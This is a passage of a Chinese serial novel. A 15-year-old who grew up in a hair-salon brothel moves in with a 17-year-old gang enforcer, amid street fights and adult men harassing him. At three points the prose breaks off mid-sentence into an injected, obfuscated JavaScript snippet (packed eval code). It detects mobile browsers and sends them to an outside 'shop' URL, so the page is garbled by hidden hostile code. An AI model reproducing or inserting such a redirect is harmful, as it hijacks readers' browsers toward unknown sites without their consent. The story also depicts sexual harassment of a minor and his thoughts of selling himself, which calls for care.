虽然这么说,可是白容生咬一咬牙,还是停下了。如果两个人都跑,被后面追上,就不好善了。 他转过身,走了几步,被追上来的一个青年抓住肩膀,晃了晃:“跑什么呢你……操,怎么是男的,我还以为是俩女孩呢。” 白容生被他揽着,不情愿地走过去。青年发现他是一个瘦小的男生后便失去兴趣,顺手推了他一把,看着他踉跄两步。 城市基础设施不好,路面坎坷,路灯昏暗,围着几个浑身烟酒气的小混混。白容生低头,看见地上一滩深红色的血,一个人已经昏迷,另一个人抱着手打滚嚎哭。 他旁边地上有两根新鲜的手指。 白容生喉咙动了动,隔着一段距离,有人叫他:“哎,小子,过来。” 坐在围栏上吸烟的人站起来,走到路灯光线里,身上是简单的白色背心,沾着灰和血,手上缠着绷带,看不出之前在诊所时候的虚弱。崔盛对白容生招了招手,白容生立刻跑到他身边。 崔盛伸手在他脖子后按了一下,旁边人问:“你认识?” “嗯。”崔盛敷衍地说,手把白容生往后一推,“行了,小孩还上学呢,回去吧。找大当家交差去,谁把这手指捡走?” 白容生心下大松一口气,头也不回地抱着包跑回洗头房。 这个时间正是洗头房的营业高峰期,笑声和歌声离老远都能听见。白容生离得近了,站在路边,弯腰撑着膝盖喘气。 方琴今天业绩不错,不错到白容生闻到那股刺鼻的味道,是那些加了料的烟散发出来的。他被熏得难受,不想再往前走了。 一旦加料,那群人会更疯。上次白容生来的时机不巧,上个楼的工夫甚至被两个男人摸了屁股。 他望着洗头房的粉灯叹气,转身走了,打算去网吧凑合一晚上。 刚刚晚上十点,北城区街上并不太平。白容生驾轻就熟绕过容易发生冲突的地方,琢磨去哪家网吧。 附近两家网吧的老板都是洗头房常客,白容生不用电脑,只找个角落窝一晚上是不收钱的。他抱着包在路口犹豫不决的时候,一个人从网吧大门出来,站在路边抽烟。 真是奇了怪了。 崔盛看见白容生的时候也很诧异,拿下烟说:“你不回家,还跑出来上网?” 白容生不知道怎么精简地解释,也不愿意和陌生人说太多:“家里有事,我出来找个网吧睡觉。” “网吧睡觉?”崔盛被他逗笑了,“真有你的,这种地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168926|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡个屁啊。过来。” 他伸手抓住白容生,忽视那点没什么力气的反抗,带着白容生在网吧旁边的一家面店坐下。 面馆老板在门口支着几张小桌子,有把马扎还沾着血,估计是之前街头斗殴的武器。 “我还没吃饭,”崔盛说,“等我吃完饭,你去我那睡吧。” 相比去陌生的混混家里睡觉,白容生认为还是网吧更安全。最起码那里的老板和网管都认识他,不会让他睡着睡着被哪个人贩子抱走割肾。 白容生:“不用,谢谢你了……” 崔盛:“老板!一碗牛肉面,大份的。你吃吗?我请你。” 白容生皱了下眉,还是重复:“网吧老板和我家里人认识,我就在这里睡,不去你那里。” 崔盛瞥他一眼:“再加一碗小份的牛肉面!” 白容生被他的自说自话噎住了。 这时候,崔盛才把烟熄了,靠过来跟他说:“今晚这边要打架,听我的,去我那里睡一晚上不能怎么样,我犯不着害你。” 白容生拧眉打量他,一盏昏黄的灯泡吊在桌子上面,周围吸引了几只小飞虫。因为灯光对轮廓的柔化,显得白容生越发稚弱俊秀,很容易引起人的一种对于弱小物种的保护欲。 崔盛看着他的脸,补充:“我对你这种小孩也没兴趣,别误会,纯粹是感谢你这位救命恩人。” 白容生却问:“你是叉子的人?” 崔盛:“唔?你很了解么,之前不是,现在是。他要把这里也划进他的地盘,必须得打一架。” 白容生恍然,知道他是叉子的打手。这时候牛肉面端上来了,手工面条口感劲道,浸泡在咸香微辣的汤汁里,上面整齐码着几片牛肉和青菜,热气扑鼻。 崔盛真的饿了,还要准备半夜的战斗,面端上来他就埋头开始吃。白容生胃口一般,不想拂他的好意,尝了一口后发现面确实还不错,跟着吃了半碗。 剩下半碗他吃不完了,崔盛拿过去倒进自己碗里。都吃完后,他把钱压在碗下面,不容分说地拿起白容生的包:“走,我住的地方离这里不远。” 说实话,身为北城区长大的人,白容生一般不理会那些大混混的恩怨斗争。可这次,或许是说不清的直觉,他想这个新来的老大叉子,好像不是个省油的灯。 崔盛提着他的包走在前面,白容生跟在后面。他在思考黎敏的提议,或许等考上高中,搬出去住是更好的选择,尤其他那个时候也大了,再住在洗头房不合适。 但这样就要回归到最根本的问题——钱。 哪里有钱? 崔盛在一幢黑漆漆的老旧筒子楼下停住,拿出手机看了眼短信。他把包放在白容生手里,向上指:“五楼左边,楼道里灯坏了挺多,你自己小心点。这是钥匙,我先走了。” 白容生拿着钥匙,昏暗里看着他,终于说:“谢谢哥。” 崔盛摆摆手,转身走了。 白容生在短暂的犹豫后,还是走进楼里。楼道里一股霉味和垃圾的味道,一楼门口堵着好几辆交错的自行车,他贴着墙挪进来,好不容易叫醒了不怎么亮的声控灯。 五楼左手边是老旧掉漆的防盗门,开锁时发出吱呀呀的噪音。白容生开门前做好了心理准备,不过并没有糟糕的味道,房子里很安静,一片漆黑。 他反手关上门,摸到墙上的开关打开灯。房子不大,进门就是采光一般的客厅,家具不多,小小的餐桌上放着没洗的碗,厨房还算干净。 卧室门关着,白容生很有分寸,没去看。他放下包,发现客厅墙角有张折叠床,拉出来打开,往上一躺,没多久就睡着了。 4. 第 4 章 叉子之所以叫叉子,是因为他十六岁的时候在饭店把叉子插\进了某个倒霉蛋的眼眶里,进而摧毁了他的大脑。后面他躲避通缉,来到了C市,坚信这里会是他一展宏图的地方。 现在他就心满意足地坐在满地狼藉的网吧大厅,看着他宏图大业的起点。 崔盛拎着已经变形的钢管,走过来说:“赢了,大当家。” 叉子笑了,他说:“把你从大宏那个软蛋手下挖过来,是我今年做的最英明的决定!” 崔盛只笑了笑,站到他身后,不说话。 “好,收工,兄弟们今晚都辛苦了。”叉子起身的时候,是踩着地上躺着的人的头起身的。他最近迷上了一个洗头房的女人,用他自己的话说,就是这么没有格调,夜总会的太装,他欣赏不来。 凌晨收工,他是习惯带这群还没从暴力余韵里脱离的手下去找女人的。不过崔盛通常不参与,他才十七岁,但比同龄人沉默寡言得多,叉子不喜欢他这个特点。 心思深的年轻人不讨喜,容易从背后捅刀。叉子专门点了崔盛的名,让他必须得去洗头房坐满一小时。 崔盛偏头啐了口血,抹着下巴说:“真不去,大哥。” 叉子笑他:“干嘛不去?你这个年纪能不想女人?小伙子长得体体面面的,总不能是同性恋吧。” 崔盛:“家里有个弟弟,我得回去看他。” 跟叉子不同,崔盛是本地人,只是一直独来独往,跟孤儿差不多。这是他头一回提起家里人,叉子还蛮稀奇地看他半天,挥一挥手,放他回去了。 崔盛回到家,客厅的灯没关,白容生外套都没脱,缩在折叠床上睡得正熟。他靠近的时候,白容生迷迷糊糊正要睁眼,被崔盛拍了拍肩膀,又睡过去。 他随便地洗漱完,潦草地在沙发上一躺,跟着闭上眼睛。 白容生第二天在生物钟的作用下醒来,晕头转向地坐起身,适应了一下陌生的环境。 客厅的灯一夜没关,白容生伸手关掉,才看见崔盛就睡在沙发里,腿伸出去老远。他安静地穿上鞋,简单地漱口洗脸,趴到窗台往下面看了看。 楼下有早餐摊,白容生回手去包里摸钱,就听崔盛问:“……醒了?” 他回头,崔盛困倦地挣扎着爬起来,眼睛都睁不开:“我外套口袋里有钱,你下去买饭吃吧。” 白容生:“不,我请你吃。” “你有几个钱。”崔盛嗤笑,起身去洗把脸,总算醒了,“要去上学?我送你。” 白容生看着他,某种诡异的感觉很重:“不用了吧。” 认真地说,他和崔盛无亲无故,无冤无仇,哪怕是还之前帮忙的恩情,昨晚做的也够了,最起码在这群混混里已经算高风亮节。白容生不懂崔盛这自然而然表现出一副家长做派是想搞什么,还是说其实他真的是自己失散多年的亲兄弟? 崔盛继续把不想听的话当没听见,穿上外套:“下楼,钥匙你自己装好。” 白容生:“我又不是你真的弟弟。钥匙我不能收。” 崔盛弯腰穿鞋,打了个哈欠。他转头看白容生,脸上没什么表情。白容生认真地说:“哥,我谢谢你帮了我,但是我们一码归一码。” 崔盛有点烦。他是不喜欢说废话的人,也不喜欢被违抗,白容生看着完全是家里没人管的小孩,他想管就管了,不明白为什么会被拒绝。 白容生把钥匙放回去,说了声“我走了,谢谢你”,就拿起包快步下楼,跟晚走一会就会被崔盛抓走卖了似的。 崔盛顿觉没意思,躺了回去,心说跟谁稀罕管他一样。 白容生买了根油条边走边啃,一路走到学校。他在公告栏看到了学校保送生的公示名单,这个破烂学校只有一个保送名额,之前白容生也参加了选拔考试,还是低了两分没选上。 他虽然有点失落,但本来也没期望自己能选上。如果他有个正常的家庭环境,他相信保送名额手到擒来,可是如果连背单词的时间都不能保证,落选是正常的。 黎敏忧心忡忡问他昨晚怎么样,白容生轻描淡写敷衍过去。黎敏又说:“我刚从办公室回来,考场已经分好了,我们在一个学校考,很远,到时候让我爸把你带上。” 她爸在厂里兼职司机,能借辆车送孩子去考试。白容生为了省车费,想了想还是抹开面子,对黎敏道谢。 初三在周六周日可以自愿来学校上自习,有老师轮流值班。班里没几个人,白容生抓紧时间写题,等到晚上他回到洗头房,发现又被叉子包场了。 门口站着两三个看门的,白容生远远停住,烦躁的心情已经变为麻木。 他低头用脚尖踢了踢路面,正在思考晚上的住所,洗头房的门打开了。 崔盛满脸厌烦地拉开外套,从门后出来,就看见不远处的白容生。 白容生:…… 崔盛:…… 他和看门的人说了两句什么,就直接迈步走向白容生。白容生下意识想走,被崔盛从身后揪住问:“你来这里做什么?” 白容生差点被他这样从地上提起来,愤怒地试图夺回衣领:“你要把我校服扯破了!” 崔盛的手劲很大,白容生掰不开,反被拽过去:“你来洗头房?” 白容生:“松手!我他妈住这里!” 他已经开始咳嗽了,崔盛放开手,不可思议地低头看他:“你才多大?谁逼你的?” 白容生满脸茫然,又被呛着,眼睛里都是泪。他过了会才理解崔盛的意思,压下咳嗽说:“不是,不是的,你误会了……我家就在这里。” 崔盛看起来并没理解他说的“误会”,脸色更难看:“你住这儿?” 白容生:“对啊!我妈就住这儿,她死了后,几个姐把我养大,我还能住哪?” 崔盛:…… 他深吸口气,回头看了眼两个探头探脑的人,把白容生一推,带着他走远几步:“那我真不明白,你住这种地方,让你住我那,你为什么不愿意?” 白容生:“不是,就算这里不好,我为什么要住你那里?” 崔盛:“我对你好,你也不要?” 白容生:“你是可怜我吗?我还不需要你可怜,不如说反过来我更可怜你,我还能读书考大学离开这里,你连初中文凭都没有,要做一辈子混混吗?” 崔盛不说话了,他们陷入沉默,白容生后悔地意识到他说得太多。不知道原因,怎么对着崔盛这样管不住嘴。说到底,他们两人之间完全没有关系,谁都管不着谁。 “不好意思,”白容生硬邦邦地说,“我说话不太妥当,你忙吧,我先走了。” 崔盛一言不发地让他走了。白容生松了口气,拎着包在街边游荡,很想变成一只自由飘荡的幽灵。这样他就不用担心睡眠和吃饭,也不用担心钱。 他饿了,打算在路边一家摊子前买碗馄饨。正在犹豫的时候,身后一只手放下钱,说:“两大碗馄饨。” 白容生被吓到了,差点跳起来。崔盛冷冰冰地说:“怎么,练跳远?” “这叫跳高。”白容生忍不住反驳。 崔盛:“是,你懂得多,我才小学文凭,我哪里知道。” 白容生:…… 他和崔盛面面相觑,坐在矮桌两边,相顾无言。 馄饨煮得很快,盛在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168927|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大瓷碗里,热腾腾得端上来。汤很鲜,馄饨皮薄馅大,上面洒了虾米,再滴一点香油和醋,香得惊人。 白容生从小跟着几个姐姐吃一碗饭,口重,还要在里面放点辣油。他埋头吃馄饨,嘴唇被烫得红通通的,好一会才说:“你到底是怎么想的,因为我叫你哥,你真的把我当你弟弟了吗?” 崔盛:“没有,我是孤儿,没有父母,没有兄弟姐妹。” 白容生:“我真搞不明白你。” 崔盛:“我也搞不明白我自己,要不是你是男的,我还以为我在死皮赖脸地追女孩呢。” 白容生吹着馄饨,闻言抬起脸对他笑了笑。崔盛吃了一半,放下勺子看他,认真说:“不怪我多想,你这张脸不适合留在洗头房,喜欢玩男人,尤其是小男孩的变态还是挺多的。” “我知道。”白容生忙着吃馄饨,“又不是没遇到过,警惕点就行。” 崔盛:“不过真要找理由的话,可能是因为你看着很可怜,这样可怜的你对着我叫哥,我不能不管你。” 白容生差点呛着,他说:“我不可怜。你不也是这里的人,在这里长大的,哪有可怜的人。” 崔盛和他头对着头吃馄饨,已经不耐烦再扯皮:“去我那里,住不住?” 白容生:“不去。” 崔盛:“那我就把你们那洗头房一把火烧了。叉子准备把那个谁……他看中的那个女人接走包养,之后这洗头房是死是活他都不会管了,你觉得呢?” 白容生立马盯着他,端详半天,不可思议问:“你不会是认真的吧?” 崔盛:“要不要试试?” 白容生:“如果你真的想睡我,可以直说。” 崔盛丢给他一个“滚”字,不说话了。白容生还剩三五个馄饨不吃了,崔盛看见,端过去自然地倒进自己碗里。 白容生若有所思地看着他的举动。尽管学校的教育是“靠身体换钱”这件事是不对的,但是在那之前,他能活下来,靠的都是他亲妈和他的姐姐们卖身体赚的钱。 相比割肾卖钱,还是陪别人睡觉伤害更小,而且算得上可持续发展。白容生考虑学费的时候不是没想过这个方法,只是一他这种不讨成年女人喜欢,二他对卖给男人没兴趣。 也可能最根本的原因是……即使他觉得这个没什么大不了的,他还是会记得好几年前那位小学老师在讲台上对他们说,同学们,我希望你们赚来的钱是你们通过正当劳动换来的,能够让你们问心无愧。不要去做金钱的奴隶。 这种话在这里当然行不通,白容生也不以为然,但他还是没有迈出最后一步。 洗头房不是没人问过他的价钱,特别是在他长大以后,都被方琴推搡回去。白容生旁听过现场,他想如果某天他真的要把自己卖了,至少得卖个好价钱。 如果他卖给崔盛,就凭一碗面和一碗馄饨吗? 白容生在走神中目光有点涣散,滑过崔盛的脸,心想忘了,还得再加上两声“哥”。这算什么事? 他慢吞吞地考量完,崔盛也把馄饨吃完了。白容生下定决心,仰头问他:“包吃包住吗?” 崔盛:“嗯?什么?” 白容生:“你听好了,我现在才初三,等我上高中,有三年的学费和生活费。这几年我吃住的钱……” 崔盛:“知道了。走吧。” 白容生的包又被他抢走了。崔盛本来想抽烟,看他一眼把烟放回去:“明天把你的东西搬我那里去吧,等你高考完要多久?三年?” “嗯。”白容生不信任地瞥他一眼,“我也没有存款。” 崔盛:“闭嘴吧,我也不要你的钱。” 5. 第 5 章 崔盛家门钥匙挂在了白容生的钥匙扣上。他坐在桌边,把一杯凉白开喝了干干净净,看着崔盛从卧室出来。 房子不大,只有一间卧室。由于崔盛不怎么回家睡觉,睡也大多在客厅随便一躺,卧室床上堆着一堆冬天衣服。 崔盛正把这堆衣服塞回衣柜里,白容生喝完水,好奇趴在卧室门口往里面看,被他凶狠地赶出去,再砰地关上门。 过了几分钟,崔盛收拾完出来,勉强将床重新铺好,让白容生进去睡。 白容生“哦”了声,崔盛将外套穿上:“其他事明天再说,我走了。” “你去哪?” “干活,今晚还有事。”崔盛说,“老实睡觉。” 白容生迷惑地看着他的背影,不过他真的既困又累,本来就处于发育期,也就什么都不管,回卧室倒下了。 早上白容生起床的时候,崔盛又是在客厅睡折叠床。尽管白容生动作很轻,崔盛还是醒了,睡眼惺忪地看着这个从卧室出来的人。 白容生被他盯得炸毛,也停下了,警惕地瞪回去。 过了两秒,崔盛反应过来,闭着眼躺回去,任由白容生去洗手间洗漱。 等白容生收拾好,他才起来,洗了把脸,抓出一把零钱:“今天去学校?” 白容生点头,崔盛说“走”,穿着拖鞋就和他一起下楼,在早餐摊子买了两个鸡蛋灌饼。 饼很烫,白容生拎在手里降温。一路上他不知道说什么,崔盛更是没睡醒的样子,陪他一路走到校门口,崔盛的饼已经吃完了,问他什么时候放学。 白容生中午一贯不回去,说了晚上的时间,崔盛点点头,转身走了。 尽管还觉得匪夷所思,不过到了学校,白容生就不去想那些有的没的。他看着教室里的倒计时其实很焦虑,做题的间隙就是算分、数排名。 之前白容生没考虑过一中,一中离得远,附近房租又贵,分数线还高。即使他中考发挥好了考上一中,后面三年怎么读呢? 但是今天,他坐在周日没几个人的教室里,胸腔内忽然涌出一股让他拼命去不管不顾的冲动。 哪怕只是证明一下,他完全可以考上一中。北城区洗头房的孩子,父母不详的孤儿,连学费都掏不起的贫困户……他依旧能考上高中,之后他还会去大城市上大学,把过往掩盖,变成电视里光鲜的成功人士。 白容生去洗手间用冷水泼了把脸。天气渐热,中午的时候他脱了外套,里面是一件掉色的宽松长袖,加上他初中几年没怎么长,领口松垮垮的,袖口挽起好几层,露出瘦白的手臂。 他甩掉脸上的水珠,自言自语:“我一定能考上。” 晚上白容生走出校门,看见崔盛的时候甚至怀疑是幻觉。他走得晚,是教室留下来锁门的那个,校门口更是荒凉,就崔盛在路灯下等他。 白容生走过去,崔盛伸手拿走他的包,问他:“想吃什么?” “不知道。” 崔盛就一锤定音:“吃米线去。” 米线店人不少,角落里空出一张桌子,崔盛立刻把包扔过去占位。白容生慢吞吞抽出两张纸擦桌子,突然问:“你多大了?” 崔盛看脸长得像高中生,但气质狠辣早熟,显而易见在混道上这件事颇有天赋。白容生不确定他究竟多大,结果被崔盛教训:“叫哥,没大没小的。” 白容生装模作样地补上一声哥,心里不服,想:小学学历。 小学学历的崔盛说:“十七。” 这下白容生惊讶了:“你还没成年?” “这话好像轮不到你说,你看起来像小学还没毕业。” 白容生:…… 等米线端上来,白容生才发现崔盛还给他加了个卤蛋。他用筷子把蛋黄挑出来吃了,对着蛋白做心理建设,崔盛问他:“不吃蛋白?” 白容生嗯了下。在洗头房,方琴最爱吃蛋白,把蛋黄留给白容生,现在没有方琴,没人替他吃蛋白了。 崔盛抱怨他事多,筷子伸到白容生碗里把蛋白夹走:“行了,吃吧。” 白容生后知后觉崔盛似乎是个不挑食的,不爱吃的和吃不完的都能交给他解决。他还想再吃半截玉米,就把剩下的小半碗米线推过去说:“我不想吃了。” 崔盛接过去倒进自己碗里:“这不吃那不吃,你还想长个子吗?” 白容生对他笑了笑,捏着零钱跑去门口的煮锅那里买了根玉米,让老板切成两半,一半带回来递给崔盛。 崔盛吃了一碗半米线和半根玉米也不觉得撑。白容生啃着玉米走出店门,看到一个留着长刘海的小青年推着辆电动自行车等在门口。 “崔哥。”他对崔盛讨好地笑,“车我送来了,电刚充满,保管够用。” 白容生确定了这个灰绿色的电动车是崔盛的出行工具,坐上去后凑近说:“你这个一点都不酷。” 崔盛说:“闭嘴。” 停在洗头房外面的时候,人已经开始多了。许多人都认识这个叉子身边新得宠的打手,还有人上来向崔盛递烟。白容生抱着书包,径自进门,叫道:“琴琴姐。” 方琴正在柜台后补口红,眼睛一抬,眼风扫过:“哟,在外面玩几天了,还知道家里门朝哪开不?过来,小兔崽子!” 白容生过去,自觉蹲下,被方琴满是香水味的手揉了揉头发,让他老实交代这两天都去了哪里。 不过白容生不是那种没有分寸乱跑的小孩,方琴知道他不在家也会找熟人的店住两晚,纯粹是跟他闹着玩。白容生和她卖乖两句,回头看见崔盛进门,说:“琴琴姐,我来是想跟你说,崔盛哥要我去他家住,方便后来上学……” 白容生话没说完,方琴一看清崔盛的脸和打扮,修得细长的眉毛立刻竖了起来。 “你什么意思?”她一把将白容生向身后扯过去,警觉地瞪着崔盛,“搞什么,啊?你知道他才几岁吗?” 崔盛满脸茫然,不知道怎么惹到她了。他下意识去看白容生,白容生对他歪了歪头,不明白崔盛怎么这时候开始装傻。 “不是,”崔盛莫名其妙,“我知道啊,他十五岁了马上中考……” 方琴的注意力被转移了:“啊?小白,你怎么就要中考了?我的天,没事,考不上就回来帮姐姐算账。” 白容生:…… 他虚弱地说:“可以不要咒我吗?” 崔盛好一会才明白方琴误会了什么,满脸难以言喻的表情,他说:“我自己还没成年……算了,我不是那个意思,就是……”就跟在路边捡到一个流浪小动物一样,白容生伸出爪子搭住他叫了声,崔盛认为他就有义务把白容生带回去饲养。 方琴抓着他去隔壁小房间里谈了几分钟,白容生坐在柜台后帮她看店。有个男人付了钱后不走,趴在柜台上看白容生,笑着问他是这里哪个婊子生的。 白容生习惯了这里的污言秽语和对他的猜测,头也不抬地伸手一指:“消费从右手边向里走。” 他露出的手腕瘦削白净,男人看着,直接抓住了:“问你呢,天天在这,买你多少钱啊?” 白容生皱眉看他一眼。叉子虽然要价高,但按照惯例,收了保护费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168928|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至少留两个人在这里看场子。他理都不想理这个人,正要去按叫人的铃,男人就被人从后面揪着衣服扯开了。 “你他妈手摸哪里呢。”崔盛声音很低,扫了眼白容生确定他没事,直接将这个男人提了出去。 白容生愣了愣,方琴从后面出来,又把他的头发揉乱了:“别管那人了,去楼上把你的东西收拾收拾。” “啊?姐,你就这样让我走了吗?” 方琴坐下来吸烟,面容掩盖在朦胧的烟雾后:“你也不跟我们说,马上都要考高中了,确实不好再住这里,晚上怎么睡觉呢?孩子长大有心事啊,什么都不跟姐姐讲。这小子还挺靠谱的,你就住他那里吧,他还是叉子的得力打手,能护得住你。” 白容生愣了愣,不知道说什么。方琴看着他,眼神柔和:“看着快哭了,这时候舍不得了?没事,你姐我照样给他每个月你的生活费,就当你在他那租个房子了。” 呆了会,白容生靠近她悄悄问:“你确定他真的不是同性恋吗?” 方琴:“我看出来他对你没有兴趣,放心,姐姐这方面看男人还是准的。去吧,每个月就那点钱,养你跟养个猫差不多,好好念书,你头脑聪明,有前途。” 崔盛在外面打完人回来,顺便抽过张纸巾擦了擦手上的灰尘和血。他对着白容生一扬下巴:“带路,去你房间。” 白容生被方琴拍了拍后背,忽然发现,即使他觉得自己已经足够独立了,面对抚养他长大的姐姐时,仍然免不了有几分依赖的情感。 穿过能听见房间里各式各样表演声音的走廊,走上铺着脏兮兮地毯的台阶,一直到最里面的拐角,白容生拧开房间摇摇欲坠的锁。 崔盛进门甚至还得稍微低头,免得撞上门框。他皱眉说:“你就住这里?” 白容生这次认真反驳他:“我自己有一个房间,很好了。姐姐她们都是集体宿舍,两三个人一间。” 灯亮了,房间里只有一扇聊胜于无的窗户,很狭窄,但意外不显得压抑。可能是墙上贴着的带着卡通图案的廉价墙纸,可能是桌脚下垫着字典的书桌还贴着贴纸,也可能是因为小单人床的床单是卡通蘑菇图案。 崔盛打开衣柜收衣服,白容生将桌上的书收起来,不小心打翻了贴着胶带的笔筒。看着笔筒滚在地上,胶带断开,白容生慢慢蹲下去捡。 “怎么哭了?”拿着两件厚外套的崔盛转身,有点惊讶,放下衣服伸手拉白容生起身,顺便在他脸上抹掉眼泪。 白容生不愿意跟他说自己心里那些说不清道不明的念头,更不愿意在崔盛面前显得脆弱,就推开崔盛的手:“没事,不用管我,继续收拾吧。” 他其实不认为自己和洗头房有什么很深的牵扯,方琴她们对他仁至义尽,他以后给她们养老(虽然通常来说,这一点很难做到),这就足够了。 白容生向来明白他要什么,他要财富、要尊严、要舒适,说到底他要更好的生活,那么第一步就是离开这里。洗头房是他长大的地方,也是他梦想的累赘。 只是他想到他要离开,看着他以前留下的痕迹,不知道怎么会有些悲伤。 崔盛不懂他哭什么,简单归结为小孩想家:“哭什么,又不是以后不让你回来了。” 白容生:“那不一样,你明白什么。” 他声音还带着哭腔,崔盛翻个白眼,不跟他计较。 白容生擦干净眼泪,不说话了,默默开始收拾东西。 他当然可以随时回来,但那不一样了。他预感自己开始踏上离开北城区的道路,哪怕这只是一小步。 6. 第 6 章 走到家门外的时候,崔盛电话又响了。他在门外接电话,白容生自己费劲拖着一只大行李包进门,蹲下去将里面的衣服抱出来。 崔盛的衣柜空得很,完全够腾出一半给白容生放衣服。他早就嫌弃崔盛的掉色花床单,二话不说揭掉,铺上方琴给他的新床单。 他床单还没铺完,崔盛进来,不屑地嗤了声:“还嫌弃我的床?” 白容生不理他,跳下来扯另一边的床单,顺便问他:“你为什么不在床上睡?” “我晚上时不时就出去干活,会吵醒你。”崔盛挥手让他到一边去,“而且我不习惯睡床,睡客厅就行。” 白容生怀疑地看着他,崔盛却说:“心情好了?不觉得是我把你拐走了?” 白容生吐出一口气,不想跟他多说。他转而问:“你竟然真的不图什么,就想养我啊?” “你姐给钱了。再说,你就不能当我是个好人?” 白容生毫不留情:“哥,我直说,你跟好人没太大关系。没想到还能碰到你这种罕见的物种,我之前以为你跟刚刚店里那个男的一样,想睡我呢。” 崔盛:“算了吧,我对小学生没兴趣,你更像个小宠物。” 白容生唯独对身高这一点无力反驳,愤怒地坐下,将课本和作业收拾出来。崔盛的家里当然不可能存在书桌和书柜这些东西,白容生更不能厚着脸皮再让崔盛去买。 他边收拾,边盘腿坐在地上,计算手里攒的那点钱够不够他去二手市场拉个回来。 崔盛粗暴收拾完,走过来把白容生从地上捞起来:“去洗漱,换你的睡衣。我出去了,不知道什么时候回来。” 白容生像个大号玩偶被他拎着,崔盛还甩了甩,他吓得全身绷紧又不愿意表现出来,愤怒道:“放我下来!” 崔盛:“不。” 白容生迅速思考,说:“哥。” 崔盛笑了,把他抱到洗手间门口,学着方琴摸了摸他的头发,转身走了。 第二天白容生背着书包出来,看着崔盛眼睛都睁不开,还要爬起来送他上学,都难得于心不忍:“我自己去,你睡吧。” 崔盛搓了搓脸,依然是穿拖鞋,抓起零钱、钥匙的流程,不多解释:“不,我送你去。” 依然是楼下的早餐摊,白容生要了两个热脆的肉煎包。崔盛打个哈欠,帮他拿着一杯八宝粥。 白容生很快就明白了为什么崔盛坚持接送他。 差不多一周后的某天,崔盛下午给他发短信,说晚上来不了,让白容生别在学校留太晚,早点回去。恰好白容生下定决心去旧货市场找张桌子,娴熟地早退了。 还不到五点钟,天气很好。白容生想省那一块钱,没坐公交,一路走着去。 起初他没感觉不对劲,快走到旧货市场的时候,路上人更加混杂。因为市场稍微偏一点,附近环境不怎样,白容生贴着边走,免得被来往的车蹭到。 就在经过拐角的时候,他无意向后看,就看见了不远处两个不太高明的跟踪者。 显眼的黄色头发,脖子上带着刺青,穿衣打扮和崔盛差不多一个风格。如果不是崔盛的脸和身材撑着,估计会和他们一样不能细看。 两人目光直勾勾盯着白容生,见他回头,才欲盖弥彰地移开。白容生装作不知道,继续向市场走,戒心提了起来。 他在几步之间迅速地思考,认为只能是跟崔盛有关。崔盛出事了?还是崔盛惹上什么仇家,要让他连坐? 路边小店门口支着一面镜子,白容生在里面看见他自己脸上一丝表情也无。他看清一家有后门、客流量大的两元店,脚步一转,借着身体瘦小,挤进人群中。 边挤,他边迅速脱下校服外套,头一低,泥鳅一样从后门钻了出去。 跟踪者意识到他发现了,也不再隐藏,拔腿就追。他们满身凶悍的气息,呼喝着人让开,即使这样,要出来还是需要一小会。 白容生就借着这一小会,又进了另一家小炒店,贴着墙像个影子,无声无息地再次穿过。 他对这里的街道格局只有一个大概的印象,毕竟很久没来了。幸好这里小店小摊众多,众多店主显然没有安全意识,开后门、私搭建筑到处都是,白容生绕了一大圈绕回最开始两元店的二楼,看着两个混混烦躁地空手而归,出了满身冷汗。 可能是和崔盛有关,也可能是洗头房的麻烦。不过看这两个混混的样子,好像也不是死都要抓到他。 白容生推测事情并没有那样严重,思来想去,还是下楼去了市场。 他看中了一张上面还有两层架子的书桌,这样就可以不另外买书柜了。而且这书桌成色还蛮不错,上一任主人估计很富裕,这样的桌子都直接丢掉。 白容生掐了手心一把,克制住不流露出对这张书桌的好感。他装模作样问了另外两张书桌的价格,心里一沉,最后问到这张。 出乎意料,老板开的价很低——即使加上送到门的运费,白容生付完手里还能有点剩的。 看出白容生的惊讶,老板继续说,“不过我得跟你讲清楚,咱这里不赚黑心钱。这桌子我拉过来就没花钱,知道为啥不?原来用这书桌的小孩,一中的,成绩可他妈好,谁想到就在这桌子上面上吊了呢。嗐,他爸妈回家一开门,就看见孩子的脚晃在上面,人差点当场不行了……” 白容生低着头,看书桌的桌面,一种温和的木头的浅黄色。很干净,没多少瑕疵,谁能想到上一位主人是这样死掉的。 “你家长没来?我不能哄你,这都是事实。后面那家人搬走了,家具我都收来,就这张桌子再便宜都卖不出去,你要不要?” 白容生满脸为难的表情。老板也是迷信,一手抓着胸前的玉佛,一边劝说他,让他别信歪理邪说,相信唯物主义云云。 最后白容生成功又打了九折,运费也免了一半。老板叫过来自家儿子,把书桌抬上摩托三轮后面,用绳子绑好。白容生爬到后面坐下,等车离开市场,才独自摸着书桌露出一个微笑。 